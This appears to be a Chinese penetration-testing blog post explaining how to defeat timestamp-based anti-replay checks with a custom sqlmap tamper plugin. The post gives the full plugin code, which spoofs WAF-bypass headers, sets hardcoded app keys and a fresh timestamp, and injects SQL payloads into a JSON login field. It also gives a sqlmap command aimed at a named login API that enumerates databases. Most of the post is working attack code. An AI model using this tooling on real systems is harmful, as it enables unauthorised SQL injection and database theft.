文章作者:[email protected]
1、前置知识:
大家在渗透测试的时候经常会遇到时间戳(timestamp),时间戳用于防范burpsuite的抓包重放攻击,难倒了不少工具黑客,但是遇到代码级的黑客会如何解决这个问题呢?
一言不合上代码,先给出生成时间戳的python代码:
#!/user/bin/env python #coding=utf8 #auther:[email protected] import time t = time.time() timestamp=int(round(t * 1000)) timestamp=str(timestamp) print timestamp
通过google后,我们知道Sqlmap Tamper插件目录下(D:\sqlmap2016\tamper)有个xforwardedfor.py插件,下面我们给出代码:
#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.enums import PRIORITY from random import sample __priority__ = PRIORITY.NORMAL def dependencies(): pass def randomIP(): numbers = [] while not numbers or numbers[0] in (10, 172, 192): numbers = sample(xrange(1, 255), 4) return '.'.join(str(_) for _ in numbers) def tamper(payload, **kwargs): """ Append a fake HTTP header 'X-Forwarded-For' to bypass WAF (usually application based) protection """ headers = kwargs.get("headers", {}) #以字典方式取出header包头数据 headers["X-Forwarded-For"] = randomIP() #将headers包头数据中的X-Forwarded-For地址随机设置 return payload
2、自定义Sqlmap Tamper插件绕过时间戳限制:
文件名:replacehead.py
放到:D:\sqlmap2016\tamper
使用方法:
cd d:\sqlmap2016 python sqlmap.py -u "https://www.sohu.com/openapi/v2/user/login" --data "{\"loginId\":\"13121838135\",\"password\":\"12345\"}" --tamper "replacehead" --dbms="mysql" -v 5 --dbs --proxy=http://127.0.0.1:8080
运行时截图:
文件名:replacehead.py
#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file "doc/COPYING" for copying permission """ import hashlib import json import ssl import sys import time,urllib,string from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def dependencies(): pass def tamper(payload, **kwargs): """ Append a HTTP header "X-originating-IP" to bypass WAF Protection of Varnish Firewall Notes: Reference: http://h30499.www3.hp.com/t5/Fortify-Application-Security/Bypassing-web-application-firewalls-using-HTTP-headers/ba-p/6418366 Examples: >> X-forwarded-for: TARGET_CACHESERVER_IP (184.189.250.X) >> X-remote-IP: TARGET_PROXY_IP (184.189.250.X) >> X-originating-IP: TARGET_LOCAL_IP (127.0.0.1) >> x-remote-addr: TARGET_INTERNALUSER_IP (192.168.1.X) >> X-remote-IP: * or %00 or %0A """ reqBind = "/openapi/v2/user/login" headers = kwargs.get("headers", {}) #data= kwargs.get("body",{}) headers["Connection"]="keep-alive" headers["appId"]="MB-MJ-0000" headers["appVersion"]="01.00.00.00000" headers["clientId"]="8F5BD72F-EAC5-4A5F-9093-77328C81E1AE" headers["sequenceId"]="20161020153428000015" headers["accessToken"]="" headers["language"]="zh-cn" headers["timezone"]="+8" headers["appKey"]="1fff7639ddc580d9cdfb16bde1d67249" #data="{\"loginId\":\"13121838134\",\"password\":\"12345\"}" data="{\"loginId\":\""+payload+"\",\"password\":\"12345\"}" #data=(str)(data) print data t = time.time() timestamp=int(round(t * 1000)) timestamp=str(timestamp) #timestamp="1521193501374" headers["timestamp"]=str(timestamp) print headers return payload